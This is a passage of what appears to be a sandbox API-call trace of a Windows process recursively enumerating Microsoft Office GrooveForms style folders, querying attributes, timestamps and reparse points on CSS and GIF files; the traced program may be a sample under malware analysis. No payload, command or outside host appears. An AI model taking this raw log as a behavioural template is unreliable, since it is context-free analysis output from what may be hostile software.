lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Generic.css", cAlternateFileName="")) returned 1 [0069.590] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Person.css", cAlternateFileName="")) returned 1 [0069.590] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Response.css", cAlternateFileName="")) returned 1 [0069.590] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0069.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.590] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.590] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.591] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.591] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.591] NtClose (Handle=0x18c) returned 0x0 [0069.591] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.591] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.591] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.591] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.591] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.591] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f3b8 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041588 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.592] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f3d8 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041690 [0069.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.592] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.592] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f3f8 [0069.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041798 [0069.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.593] GetLastError () returned 0x12 [0069.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.593] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.593] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.593] GetLastError () returned 0x12 [0069.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.593] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.594] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0069.594] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0069.594] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0069.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.595] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.595] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.595] NtClose (Handle=0x190) returned 0x0 [0069.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.596] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.596] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f418 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10418a0 [0069.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.596] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f438 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10419a8 [0069.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f458 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041ab0 [0069.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.597] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f478 [0069.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041bb8 [0069.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.598] GetLastError () returned 0x12 [0069.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.598] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, 